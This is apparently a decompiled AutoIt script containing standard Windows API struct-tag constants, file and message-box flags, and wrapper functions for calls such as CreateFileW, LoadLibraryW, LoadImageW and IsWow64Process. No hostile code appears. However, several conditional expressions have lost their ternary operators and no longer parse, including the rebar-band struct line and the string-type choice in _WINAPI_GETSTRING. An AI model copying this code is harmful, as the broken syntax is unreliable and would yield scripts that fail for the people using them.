GLOBAL CONST $TAGGDIPENCODERPARAMS = "uint Count;" & $TAGGDIPENCODERPARAM
GLOBAL CONST $TAGGDIPRECTF = "struct;float X;float Y;float Width;float Height;endstruct"
GLOBAL CONST $TAGGDIPSTARTUPINPUT = "uint Version;ptr Callback;bool NoThread;bool NoCodecs"
GLOBAL CONST $TAGGDIPSTARTUPOUTPUT = "ptr HookProc;ptr UnhookProc"
GLOBAL CONST $TAGGDIPIMAGECODECINFO = "byte CLSID[16];byte FormatID[16];ptr CodecName;ptr DllName;ptr FormatDesc;ptr FileExt;" & "ptr MimeType;dword Flags;dword Version;dword SigCount;dword SigSize;ptr SigPattern;ptr SigMask"
GLOBAL CONST $TAGGDIPPENCODERPARAMS = "uint Count;byte Params[1]"
GLOBAL CONST $TAGHDITEM = "uint Mask;int XY;ptr Text;handle hBMP;int TextMax;int Fmt;lparam Param;int Image;int Order;uint Type;ptr pFilter;uint State"
GLOBAL CONST $TAGNMHDDISPINFO = $TAGNMHDR & ";int Item;uint Mask;ptr Text;int TextMax;int Image;lparam lParam"
GLOBAL CONST $TAGNMHDFILTERBTNCLICK = $TAGNMHDR & ";int Item;" & $TAGRECT
GLOBAL CONST $TAGNMHEADER = $TAGNMHDR & ";int Item;int Button;ptr pItem"
GLOBAL CONST $TAGGETIPADDRESS = "byte Field4;byte Field3;byte Field2;byte Field1"
GLOBAL CONST $TAGNMIPADDRESS = $TAGNMHDR & ";int Field;int Value"
GLOBAL CONST $TAGLVFINDINFO = "struct;uint Flags;ptr Text;lparam Param;" & $TAGPOINT & ";uint Direction;endstruct"
GLOBAL CONST $TAGLVHITTESTINFO = $TAGPOINT & ";uint Flags;int Item;int SubItem;int iGroup"
GLOBAL CONST $TAGLVITEM = "struct;uint Mask;int Item;int SubItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;lparam Param;" & "int Indent;int GroupID;uint Columns;ptr pColumns;ptr piColFmt;int iGroup;endstruct"
GLOBAL CONST $TAGNMLISTVIEW = $TAGNMHDR & ";int Item;int SubItem;uint NewState;uint OldState;uint Changed;" & "struct;long ActionX;long ActionY;endstruct;lparam Param"
GLOBAL CONST $TAGNMLVCUSTOMDRAW = "struct;" & $TAGNMHDR & ";dword dwDrawStage;handle hdc;" & $TAGRECT & ";dword_ptr dwItemSpec;uint uItemState;lparam lItemlParam;endstruct" & ";dword clrText;dword clrTextBk;int iSubItem;dword dwItemType;dword clrFace;int iIconEffect;" & "int iIconPhase;int iPartID;int iStateID;struct;long TextLeft;long TextTop;long TextRight;long TextBottom;endstruct;uint uAlign"
GLOBAL CONST $TAGNMLVDISPINFO = $TAGNMHDR & ";" & $TAGLVITEM
GLOBAL CONST $TAGNMLVFINDITEM = $TAGNMHDR & ";int Start;" & $TAGLVFINDINFO
GLOBAL CONST $TAGNMLVGETINFOTIP = $TAGNMHDR & ";dword Flags;ptr Text;int TextMax;int Item;int SubItem;lparam lParam"
GLOBAL CONST $TAGNMITEMACTIVATE = $TAGNMHDR & ";int Index;int SubItem;uint NewState;uint OldState;uint Changed;" & $TAGPOINT & ";lparam lParam;uint KeyFlags"
GLOBAL CONST $TAGNMLVKEYDOWN = "align 1;" & $TAGNMHDR & ";word VKey;uint Flags"
GLOBAL CONST $TAGNMLVSCROLL = $TAGNMHDR & ";int DX;int DY"
GLOBAL CONST $TAGMCHITTESTINFO = "uint Size;" & $TAGPOINT & ";uint Hit;" & $TAGSYSTEMTIME & ";" & $TAGRECT & ";int iOffset;int iRow;int iCol"
GLOBAL CONST $TAGMCMONTHRANGE = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short Span"
GLOBAL CONST $TAGMCRANGE = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short MinSet;short MaxSet"
GLOBAL CONST $TAGMCSELRANGE = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds"
GLOBAL CONST $TAGNMDAYSTATE = $TAGNMHDR & ";" & $TAGSYSTEMTIME & ";int DayState;ptr pDayState"
GLOBAL CONST $TAGNMSELCHANGE = $TAGNMHDR & ";struct;word BegYear;word BegMonth;word BegDOW;word BegDay;word BegHour;word BegMinute;word BegSecond;word BegMSeconds;endstruct;" & "struct;word EndYear;word EndMonth;word EndDOW;word EndDay;word EndHour;word EndMinute;word EndSecond;word EndMSeconds;endstruct"
GLOBAL CONST $TAGNMOBJECTNOTIFY = $TAGNMHDR & ";int Item;ptr piid;ptr pObject;long Result;dword dwFlags"
GLOBAL CONST $TAGNMTCKEYDOWN = "align 1;" & $TAGNMHDR & ";word VKey;uint Flags"
GLOBAL CONST $TAGTVITEM = "struct;uint Mask;handle hItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;int SelectedImage;" & "int Children;lparam Param;endstruct"
GLOBAL CONST $TAGTVITEMEX = "struct;" & $TAGTVITEM & ";int Integral;uint uStateEx;hwnd hwnd;int iExpandedImage;int iReserved;endstruct"
GLOBAL CONST $TAGNMTREEVIEW = $TAGNMHDR & ";uint Action;" & "struct;uint OldMask;handle OldhItem;uint OldState;uint OldStateMask;" & "ptr OldText;int OldTextMax;int OldImage;int OldSelectedImage;int OldChildren;lparam OldParam;endstruct;" & "struct;uint NewMask;handle NewhItem;uint NewState;uint NewStateMask;" & "ptr NewText;int NewTextMax;int NewImage;int NewSelectedImage;int NewChildren;lparam NewParam;endstruct;" & "struct;long PointX;long PointY;endstruct"
GLOBAL CONST $TAGNMTVCUSTOMDRAW = "struct;" & $TAGNMHDR & ";dword DrawStage;handle HDC;" & $TAGRECT & ";dword_ptr ItemSpec;uint ItemState;lparam ItemParam;endstruct" & ";dword ClrText;dword ClrTextBk;int Level"
GLOBAL CONST $TAGNMTVDISPINFO = $TAGNMHDR & ";" & $TAGTVITEM
GLOBAL CONST $TAGNMTVGETINFOTIP = $TAGNMHDR & ";ptr Text;int TextMax;handle hItem;lparam lParam"
GLOBAL CONST $TAGNMTVITEMCHANGE = $TAGNMHDR & ";uint Changed;handle hItem;uint StateNew;uint StateOld;lparam lParam;"
GLOBAL CONST $TAGTVHITTESTINFO = $TAGPOINT & ";uint Flags;handle Item"
GLOBAL CONST $TAGNMTVKEYDOWN = "align 1;" & $TAGNMHDR & ";word VKey;uint Flags"
GLOBAL CONST $TAGNMMOUSE = $TAGNMHDR & ";dword_ptr ItemSpec;dword_ptr ItemData;" & $TAGPOINT & ";lparam HitInfo"
GLOBAL CONST $TAGTOKEN_PRIVILEGES = "dword Count;align 4;int64 LUID;dword Attributes"
GLOBAL CONST $TAGIMAGEINFO = "handle hBitmap;handle hMask;int Unused1;int Unused2;" & $TAGRECT
GLOBAL CONST $TAGMENUINFO = "dword Size;INT Mask;dword Style;uint YMax;handle hBack;dword ContextHelpID;ulong_ptr MenuData"
GLOBAL CONST $TAGMENUITEMINFO = "uint Size;uint Mask;uint Type;uint State;uint ID;handle SubMenu;handle BmpChecked;handle BmpUnchecked;" & "ulong_ptr ItemData;ptr TypeData;uint CCH;handle BmpItem"
GLOBAL CONST $TAGREBARBANDINFO = "uint cbSize;uint fMask;uint fStyle;dword clrFore;dword clrBack;ptr lpText;uint cch;" & "int iImage;hwnd hwndChild;uint cxMinChild;uint cyMinChild;uint cx;handle hbmBack;uint wID;uint cyChild;uint cyMaxChild;" & "uint cyIntegral;uint cxIdeal;lparam lParam;uint cxHeader" & ((@OSVERSION = "WIN_XP" ) "" ";" & $TAGRECT & ";uint uChevronState" )
GLOBAL CONST $TAGNMREBARAUTOBREAK = $TAGNMHDR & ";uint uBand;uint wID;lparam lParam;uint uMsg;uint fStyleCurrent;bool fAutoBreak"
GLOBAL CONST $TAGNMRBAUTOSIZE = $TAGNMHDR & ";bool fChanged;" & "struct;long TargetLeft;long TargetTop;long TargetRight;long TargetBottom;endstruct;" & "struct;long ActualLeft;long ActualTop;long ActualRight;long ActualBottom;endstruct"
GLOBAL CONST $TAGNMREBAR = $TAGNMHDR & ";dword dwMask;uint uBand;uint fStyle;uint wID;lparam lParam"
GLOBAL CONST $TAGNMREBARCHEVRON = $TAGNMHDR & ";uint uBand;uint wID;lparam lParam;" & $TAGRECT & ";lparam lParamNM"
GLOBAL CONST $TAGNMREBARCHILDSIZE = $TAGNMHDR & ";uint uBand;uint wID;" & "struct;long CLeft;long CTop;long CRight;long CBottom;endstruct;" & "struct;long BLeft;long BTop;long BRight;long BBottom;endstruct"
GLOBAL CONST $TAGCOLORSCHEME = "dword Size;dword BtnHighlight;dword BtnShadow"
GLOBAL CONST $TAGNMTOOLBAR = $TAGNMHDR & ";int iItem;" & "struct;int iBitmap;int idCommand;byte fsState;byte fsStyle;dword_ptr dwData;int_ptr iString;endstruct" & ";int cchText;ptr pszText;" & $TAGRECT
GLOBAL CONST $TAGNMTBHOTITEM = $TAGNMHDR & ";int idOld;int idNew;dword dwFlags"
GLOBAL CONST $TAGTBBUTTON = "int Bitmap;int Command;byte State;byte Style;dword_ptr Param;int_ptr String"
GLOBAL CONST $TAGTBBUTTONINFO = "uint Size;dword Mask;int Command;int Image;byte State;byte Style;word CX;dword_ptr Param;ptr Text;int TextMax"
GLOBAL CONST $TAGNETRESOURCE = "dword Scope;dword Type;dword DisplayType;dword Usage;ptr LocalName;ptr RemoteName;ptr Comment;ptr Provider"
GLOBAL CONST $TAGOVERLAPPED = "ulong_ptr Internal;ulong_ptr InternalHigh;struct;dword Offset;dword OffsetHigh;endstruct;handle hEvent"
GLOBAL CONST $TAGOPENFILENAME = "dword StructSize;hwnd hwndOwner;handle hInstance;ptr lpstrFilter;ptr lpstrCustomFilter;" & "dword nMaxCustFilter;dword nFilterIndex;ptr lpstrFile;dword nMaxFile;ptr lpstrFileTitle;dword nMaxFileTitle;" & "ptr lpstrInitialDir;ptr lpstrTitle;dword Flags;word nFileOffset;word nFileExtension;ptr lpstrDefExt;lparam lCustData;" & "ptr lpfnHook;ptr lpTemplateName;ptr pvReserved;dword dwReserved;dword FlagsEx"
GLOBAL CONST $TAGBITMAPINFOHEADER = "struct;dword biSize;long biWidth;long biHeight;word biPlanes;word biBitCount;" & "dword biCompression;dword biSizeImage;long biXPelsPerMeter;long biYPelsPerMeter;dword biClrUsed;dword biClrImportant;endstruct"
GLOBAL CONST $TAGBITMAPINFO = $TAGBITMAPINFOHEADER & ";dword biRGBQuad[1]"
GLOBAL CONST $TAGBLENDFUNCTION = "byte Op;byte Flags;byte Alpha;byte Format"
GLOBAL CONST $TAGGUID = "struct;ulong Data1;ushort Data2;ushort Data3;byte Data4[8];endstruct"
GLOBAL CONST $TAGWINDOWPLACEMENT = "uint length;uint flags;uint showCmd;long ptMinPosition[2];long ptMaxPosition[2];long rcNormalPosition[4]"
GLOBAL CONST $TAGWINDOWPOS = "hwnd hWnd;hwnd InsertAfter;int X;int Y;int CX;int CY;uint Flags"
GLOBAL CONST $TAGSCROLLINFO = "uint cbSize;uint fMask;int nMin;int nMax;uint nPage;int nPos;int nTrackPos"
GLOBAL CONST $TAGSCROLLBARINFO = "dword cbSize;" & $TAGRECT & ";int dxyLineButton;int xyThumbTop;" & "int xyThumbBottom;int reserved;dword rgstate[6]"
GLOBAL CONST $TAGLOGFONT = "struct;long Height;long Width;long Escapement;long Orientation;long Weight;byte Italic;byte Underline;" & "byte Strikeout;byte CharSet;byte OutPrecision;byte ClipPrecision;byte Quality;byte PitchAndFamily;wchar FaceName[32];endstruct"
GLOBAL CONST $TAGKBDLLHOOKSTRUCT = "dword vkCode;dword scanCode;dword flags;dword time;ulong_ptr dwExtraInfo"
GLOBAL CONST $TAGPROCESS_INFORMATION = "handle hProcess;handle hThread;dword ProcessID;dword ThreadID"
GLOBAL CONST $TAGSTARTUPINFO = "dword Size;ptr Reserved1;ptr Desktop;ptr Title;dword X;dword Y;dword XSize;dword YSize;dword XCountChars;" & "dword YCountChars;dword FillAttribute;dword Flags;word ShowWindow;word Reserved2;ptr Reserved3;handle StdInput;" & "handle StdOutput;handle StdError"
GLOBAL CONST $TAGSECURITY_ATTRIBUTES = "dword Length;ptr Descriptor;bool InheritHandle"
GLOBAL CONST $TAGWIN32_FIND_DATA = "dword dwFileAttributes;dword ftCreationTime[2];dword ftLastAccessTime[2];dword ftLastWriteTime[2];dword nFileSizeHigh;dword nFileSizeLow;dword dwReserved0;dword dwReserved1;wchar cFileName[260];wchar cAlternateFileName[14]"
GLOBAL CONST $TAGTEXTMETRIC = "long tmHeight;long tmAscent;long tmDescent;long tmInternalLeading;long tmExternalLeading;" & "long tmAveCharWidth;long tmMaxCharWidth;long tmWeight;long tmOverhang;long tmDigitizedAspectX;long tmDigitizedAspectY;" & "wchar tmFirstChar;wchar tmLastChar;wchar tmDefaultChar;wchar tmBreakChar;byte tmItalic;byte tmUnderlined;byte tmStruckOut;" & "byte tmPitchAndFamily;byte tmCharSet"
GLOBAL CONST $COINIT_APARTMENTTHREADED = 2
GLOBAL CONST $COINIT_DISABLE_OLE1DDE = 4
GLOBAL CONST $COINIT_MULTITHREADED = 0
GLOBAL CONST $COINIT_SPEED_OVER_MEMORY = 8
GLOBAL CONST $FC_NOOVERWRITE = 0
GLOBAL CONST $FC_OVERWRITE = 1
GLOBAL CONST $FC_CREATEPATH = 8
GLOBAL CONST $FT_MODIFIED = 0
GLOBAL CONST $FT_CREATED = 1
GLOBAL CONST $FT_ACCESSED = 2
GLOBAL CONST $FT_ARRAY = 0
GLOBAL CONST $FT_STRING = 1
GLOBAL CONST $FSF_CREATEBUTTON = 1
GLOBAL CONST $FSF_NEWDIALOG = 2
GLOBAL CONST $FSF_EDITCONTROL = 4
GLOBAL CONST $FT_NONRECURSIVE = 0
GLOBAL CONST $FT_RECURSIVE = 1
GLOBAL CONST $FO_READ = 0
GLOBAL CONST $FO_APPEND = 1
GLOBAL CONST $FO_OVERWRITE = 2
GLOBAL CONST $FO_CREATEPATH = 8
GLOBAL CONST $FO_BINARY = 16
GLOBAL CONST $FO_UNICODE = 32
GLOBAL CONST $FO_UTF16_LE = 32
GLOBAL CONST $FO_UTF16_BE = 64
GLOBAL CONST $FO_UTF8 = 128
GLOBAL CONST $FO_UTF8_NOBOM = 256
GLOBAL CONST $FO_ANSI = 512
GLOBAL CONST $FO_UTF16_LE_NOBOM = 1024
GLOBAL CONST $FO_UTF16_BE_NOBOM = 2048
GLOBAL CONST $FO_UTF8_FULL = 16384
GLOBAL CONST $FO_FULLFILE_DETECT = 16384
GLOBAL CONST $EOF = + 4294967295
GLOBAL CONST $FD_FILEMUSTEXIST = 1
GLOBAL CONST $FD_PATHMUSTEXIST = 2
GLOBAL CONST $FD_MULTISELECT = 4
GLOBAL CONST $FD_PROMPTCREATENEW = 8
GLOBAL CONST $FD_PROMPTOVERWRITE = 16
GLOBAL CONST $CREATE_NEW = 1
GLOBAL CONST $CREATE_ALWAYS = 2
GLOBAL CONST $OPEN_EXISTING = 3
GLOBAL CONST $OPEN_ALWAYS = 4
GLOBAL CONST $TRUNCATE_EXISTING = 5
GLOBAL CONST $INVALID_SET_FILE_POINTER = + 4294967295
GLOBAL CONST $FILE_BEGIN = 0
GLOBAL CONST $FILE_CURRENT = 1
GLOBAL CONST $FILE_END = 2
GLOBAL CONST $FILE_ATTRIBUTE_READONLY = 1
GLOBAL CONST $FILE_ATTRIBUTE_HIDDEN = 2
GLOBAL CONST $FILE_ATTRIBUTE_SYSTEM = 4
GLOBAL CONST $FILE_ATTRIBUTE_DIRECTORY = 16
GLOBAL CONST $FILE_ATTRIBUTE_ARCHIVE = 32
GLOBAL CONST $FILE_ATTRIBUTE_DEVICE = 64
GLOBAL CONST $FILE_ATTRIBUTE_NORMAL = 128
GLOBAL CONST $FILE_ATTRIBUTE_TEMPORARY = 256
GLOBAL CONST $FILE_ATTRIBUTE_SPARSE_FILE = 512
GLOBAL CONST $FILE_ATTRIBUTE_REPARSE_POINT = 1024
GLOBAL CONST $FILE_ATTRIBUTE_COMPRESSED = 2048
GLOBAL CONST $FILE_ATTRIBUTE_OFFLINE = 4096
GLOBAL CONST $FILE_ATTRIBUTE_NOT_CONTENT_INDEXED = 8192
GLOBAL CONST $FILE_ATTRIBUTE_ENCRYPTED = 16384
GLOBAL CONST $FILE_SHARE_READ = 1
GLOBAL CONST $FILE_SHARE_WRITE = 2
GLOBAL CONST $FILE_SHARE_DELETE = 4
GLOBAL CONST $FILE_SHARE_READWRITE = BITOR ($FILE_SHARE_READ , $FILE_SHARE_WRITE )
GLOBAL CONST $FILE_SHARE_ANY = BITOR ($FILE_SHARE_READ , $FILE_SHARE_WRITE , $FILE_SHARE_DELETE )
GLOBAL CONST $GENERIC_ALL = 268435456
GLOBAL CONST $GENERIC_EXECUTE = 536870912
GLOBAL CONST $GENERIC_WRITE = 1073741824
GLOBAL CONST $GENERIC_READ = 2147483648
GLOBAL CONST $GENERIC_READWRITE = BITOR ($GENERIC_READ , $GENERIC_WRITE )
GLOBAL CONST $FILE_ENCODING_UTF16LE = 32
GLOBAL CONST $FE_ENTIRE_UTF8 = 1
GLOBAL CONST $FE_PARTIALFIRST_UTF8 = 2
GLOBAL CONST $FN_FULLPATH = 0
GLOBAL CONST $FN_RELATIVEPATH = 1
GLOBAL CONST $FV_COMMENTS = "Comments"
GLOBAL CONST $FV_COMPANYNAME = "CompanyName"
GLOBAL CONST $FV_FILEDESCRIPTION = "FileDescription"
GLOBAL CONST $FV_FILEVERSION = "FileVersion"
GLOBAL CONST $FV_INTERNALNAME = "InternalName"
GLOBAL CONST $FV_LEGALCOPYRIGHT = "LegalCopyright"
GLOBAL CONST $FV_LEGALTRADEMARKS = "LegalTrademarks"
GLOBAL CONST $FV_ORIGINALFILENAME = "OriginalFilename"
GLOBAL CONST $FV_PRODUCTNAME = "ProductName"
GLOBAL CONST $FV_PRODUCTVERSION = "ProductVersion"
GLOBAL CONST $FV_PRIVATEBUILD = "PrivateBuild"
GLOBAL CONST $FV_SPECIALBUILD = "SpecialBuild"
GLOBAL CONST $FRTA_NOCOUNT = 0
GLOBAL CONST $FRTA_COUNT = 1
GLOBAL CONST $FRTA_INTARRAYS = 2
GLOBAL CONST $FRTA_ENTIRESPLIT = 4
GLOBAL CONST $FLTA_FILESFOLDERS = 0
GLOBAL CONST $FLTA_FILES = 1
GLOBAL CONST $FLTA_FOLDERS = 2
GLOBAL CONST $FLTAR_FILESFOLDERS = 0
GLOBAL CONST $FLTAR_FILES = 1
GLOBAL CONST $FLTAR_FOLDERS = 2
GLOBAL CONST $FLTAR_NOHIDDEN = 4
GLOBAL CONST $FLTAR_NOSYSTEM = 8
GLOBAL CONST $FLTAR_NOLINK = 16
GLOBAL CONST $FLTAR_NORECUR = 0
GLOBAL CONST $FLTAR_RECUR = 1
GLOBAL CONST $FLTAR_NOSORT = 0
GLOBAL CONST $FLTAR_SORT = 1
GLOBAL CONST $FLTAR_FASTSORT = 2
GLOBAL CONST $FLTAR_NOPATH = 0
GLOBAL CONST $FLTAR_RELPATH = 1
GLOBAL CONST $FLTAR_FULLPATH = 2
GLOBAL CONST $PATH_ORIGINAL = 0
GLOBAL CONST $PATH_DRIVE = 1
GLOBAL CONST $PATH_DIRECTORY = 2
GLOBAL CONST $PATH_FILENAME = 3
GLOBAL CONST $PATH_EXTENSION = 4
GLOBAL CONST $MB_OK = 0
GLOBAL CONST $MB_OKCANCEL = 1
GLOBAL CONST $MB_ABORTRETRYIGNORE = 2
GLOBAL CONST $MB_YESNOCANCEL = 3
GLOBAL CONST $MB_YESNO = 4
GLOBAL CONST $MB_RETRYCANCEL = 5
GLOBAL CONST $MB_CANCELTRYCONTINUE = 6
GLOBAL CONST $MB_HELP = 16384
GLOBAL CONST $MB_ICONSTOP = 16
GLOBAL CONST $MB_ICONERROR = 16
GLOBAL CONST $MB_ICONHAND = 16
GLOBAL CONST $MB_ICONQUESTION = 32
GLOBAL CONST $MB_ICONEXCLAMATION = 48
GLOBAL CONST $MB_ICONWARNING = 48
GLOBAL CONST $MB_ICONINFORMATION = 64
GLOBAL CONST $MB_ICONASTERISK = 64
GLOBAL CONST $MB_USERICON = 128
GLOBAL CONST $MB_DEFBUTTON1 = 0
GLOBAL CONST $MB_DEFBUTTON2 = 256
GLOBAL CONST $MB_DEFBUTTON3 = 512
GLOBAL CONST $MB_DEFBUTTON4 = 768
GLOBAL CONST $MB_APPLMODAL = 0
GLOBAL CONST $MB_SYSTEMMODAL = 4096
GLOBAL CONST $MB_TASKMODAL = 8192
GLOBAL CONST $MB_DEFAULT_DESKTOP_ONLY = 131072
GLOBAL CONST $MB_RIGHT = 524288
GLOBAL CONST $MB_RTLREADING = 1048576
GLOBAL CONST $MB_SETFOREGROUND = 65536
GLOBAL CONST $MB_TOPMOST = 262144
GLOBAL CONST $MB_SERVICE_NOTIFICATION = 2097152
GLOBAL CONST $MB_RIGHTJUSTIFIED = $MB_RIGHT
GLOBAL CONST $IDTIMEOUT = + 4294967295
GLOBAL CONST $IDOK = 1
GLOBAL CONST $IDCANCEL = 2
GLOBAL CONST $IDABORT = 3
GLOBAL CONST $IDRETRY = 4
GLOBAL CONST $IDIGNORE = 5
GLOBAL CONST $IDYES = 6
GLOBAL CONST $IDNO = 7
GLOBAL CONST $IDCLOSE = 8
GLOBAL CONST $IDHELP = 9
GLOBAL CONST $IDTRYAGAIN = 10
GLOBAL CONST $IDCONTINUE = 11
#Region Global Variables and Constants
GLOBAL $__G_VENUM , $__G_VEXT = 0
GLOBAL $__G_IRGBMODE = 1
GLOBAL CONST $TAGOSVERSIONINFO = "struct;dword OSVersionInfoSize;dword MajorVersion;dword MinorVersion;dword BuildNumber;dword PlatformId;wchar CSDVersion[128];endstruct"
GLOBAL CONST $IMAGE_BITMAP = 0
GLOBAL CONST $IMAGE_ICON = 1
GLOBAL CONST $IMAGE_CURSOR = 2
GLOBAL CONST $IMAGE_ENHMETAFILE = 3
GLOBAL CONST $LR_DEFAULTCOLOR = 0
GLOBAL CONST $LR_MONOCHROME = 1
GLOBAL CONST $LR_COLOR = 2
GLOBAL CONST $LR_COPYRETURNORG = 4
GLOBAL CONST $LR_COPYDELETEORG = 8
GLOBAL CONST $LR_LOADFROMFILE = 16
GLOBAL CONST $LR_LOADTRANSPARENT = 32
GLOBAL CONST $LR_DEFAULTSIZE = 64
GLOBAL CONST $LR_VGACOLOR = 128
GLOBAL CONST $LR_LOADMAP3DCOLORS = 4096
GLOBAL CONST $LR_CREATEDIBSECTION = 8192
GLOBAL CONST $LR_COPYFROMRESOURCE = 16384
GLOBAL CONST $LR_SHARED = 32768
GLOBAL CONST $__TAGCURSORINFO = "dword Size;dword Flags;handle hCursor;" & "struct;long X;long Y;endstruct"
GLOBAL CONST $__WINVER = __WINVER ()
#EndRegion Global Variables and Constants
#Region Functions list
#EndRegion Functions list
#Region Public Functions
FUNC _WINAPI_CREATEFILE ($SFILENAME , $ICREATION , $IACCESS = 4 , $ISHARE = 0 , $IATTRIBUTES = 0 , $TSECURITY = 0 )
LOCAL $IDA = 0 , $ISM = 0 , $ICD = 0 , $IFA = 0
IF BITAND ($IACCESS , 1 ) <> 0 THEN $IDA = BITOR ($IDA , $GENERIC_EXECUTE )
IF BITAND ($IACCESS , 2 ) <> 0 THEN $IDA = BITOR ($IDA , $GENERIC_READ )
IF BITAND ($IACCESS , 4 ) <> 0 THEN $IDA = BITOR ($IDA , $GENERIC_WRITE )
IF BITAND ($ISHARE , 1 ) <> 0 THEN $ISM = BITOR ($ISM , $FILE_SHARE_DELETE )
IF BITAND ($ISHARE , 2 ) <> 0 THEN $ISM = BITOR ($ISM , $FILE_SHARE_READ )
IF BITAND ($ISHARE , 4 ) <> 0 THEN $ISM = BITOR ($ISM , $FILE_SHARE_WRITE )
SWITCH $ICREATION
CASE 0
$ICD = $CREATE_NEW
CASE 1
$ICD = $CREATE_ALWAYS
CASE 2
$ICD = $OPEN_EXISTING
CASE 3
$ICD = $OPEN_ALWAYS
CASE 4
$ICD = $TRUNCATE_EXISTING
ENDSWITCH
IF BITAND ($IATTRIBUTES , 1 ) <> 0 THEN $IFA = BITOR ($IFA , $FILE_ATTRIBUTE_ARCHIVE )
IF BITAND ($IATTRIBUTES , 2 ) <> 0 THEN $IFA = BITOR ($IFA , $FILE_ATTRIBUTE_HIDDEN )
IF BITAND ($IATTRIBUTES , 4 ) <> 0 THEN $IFA = BITOR ($IFA , $FILE_ATTRIBUTE_READONLY )
IF BITAND ($IATTRIBUTES , 8 ) <> 0 THEN $IFA = BITOR ($IFA , $FILE_ATTRIBUTE_SYSTEM )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "handle" , "CreateFileW" , "wstr" , $SFILENAME , "dword" , $IDA , "dword" , $ISM , "struct*" , $TSECURITY , "dword" , $ICD , "dword" , $IFA , "ptr" , 0 )
IF @ERROR OR ($ARESULT [0 ] = PTR (+ 4294967295 ) ) THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_FREELIBRARY ($HMODULE )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "FreeLibrary" , "handle" , $HMODULE )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_GETCURSORINFO ()
LOCAL $TCURSOR = DLLSTRUCTCREATE ($__TAGCURSORINFO )
LOCAL $ICURSOR = DLLSTRUCTGETSIZE ($TCURSOR )
DLLSTRUCTSETDATA ($TCURSOR , "Size" , $ICURSOR )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "GetCursorInfo" , "struct*" , $TCURSOR )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
LOCAL $ACURSOR [5 ]
$ACURSOR [0 ] = TRUE
$ACURSOR [1 ] = DLLSTRUCTGETDATA ($TCURSOR , "Flags" ) <> 0
$ACURSOR [2 ] = DLLSTRUCTGETDATA ($TCURSOR , "hCursor" )
$ACURSOR [3 ] = DLLSTRUCTGETDATA ($TCURSOR , "X" )
$ACURSOR [4 ] = DLLSTRUCTGETDATA ($TCURSOR , "Y" )
RETURN $ACURSOR
ENDFUNC
FUNC _WINAPI_GETDLGCTRLID ($HWND )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "int" , "GetDlgCtrlID" , "hwnd" , $HWND )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_GETMODULEHANDLE ($SMODULENAME )
LOCAL $SMODULENAMETYPE = "wstr"
IF $SMODULENAME = "" THEN
$SMODULENAME = 0
$SMODULENAMETYPE = "ptr"
ENDIF
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "handle" , "GetModuleHandleW" , $SMODULENAMETYPE , $SMODULENAME )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_GETSTRING ($PSTRING , $BUNICODE = TRUE )
LOCAL $ILENGTH = _WINAPI_STRLEN ($PSTRING , $BUNICODE )
IF @ERROR OR NOT $ILENGTH THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , "" )
LOCAL $TSTRING = DLLSTRUCTCREATE (($BUNICODE "wchar" "char" ) & "[" & ($ILENGTH + 1 ) & "]" , $PSTRING )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
RETURN SETEXTENDED ($ILENGTH , DLLSTRUCTGETDATA ($TSTRING , 1 ) )
ENDFUNC
FUNC _WINAPI_ISWOW64PROCESS ($IPID = 0 )
IF NOT $IPID THEN $IPID = @AUTOITPID
LOCAL $HPROCESS = DLLCALL ("kernel32.dll" , "handle" , "OpenProcess" , "dword" , ($__WINVER < 1536 1024 4096 ) , "bool" , 0 , "dword" , $IPID )
IF @ERROR OR NOT $HPROCESS [0 ] THEN RETURN SETERROR (@ERROR + 20 , @EXTENDED , FALSE )
LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "IsWow64Process" , "handle" , $HPROCESS [0 ] , "bool*" , 0 )
IF __CHECKERRORCLOSEHANDLE ($ARET , $HPROCESS [0 ] ) THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [2 ]
ENDFUNC
FUNC _WINAPI_LOADIMAGE ($HINSTANCE , $SIMAGE , $ITYPE , $IXDESIRED , $IYDESIRED , $ILOAD )
LOCAL $ARESULT , $SIMAGETYPE = "int"
IF ISSTRING ($SIMAGE ) THEN $SIMAGETYPE = "wstr"
$ARESULT = DLLCALL ("user32.dll" , "handle" , "LoadImageW" , "handle" , $HINSTANCE , $SIMAGETYPE , $SIMAGE , "uint" , $ITYPE , "int" , $IXDESIRED , "int" , $IYDESIRED , "uint" , $ILOAD )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_LOADLIBRARY ($SFILENAME )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "handle" , "LoadLibraryW" , "wstr" , $SFILENAME )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
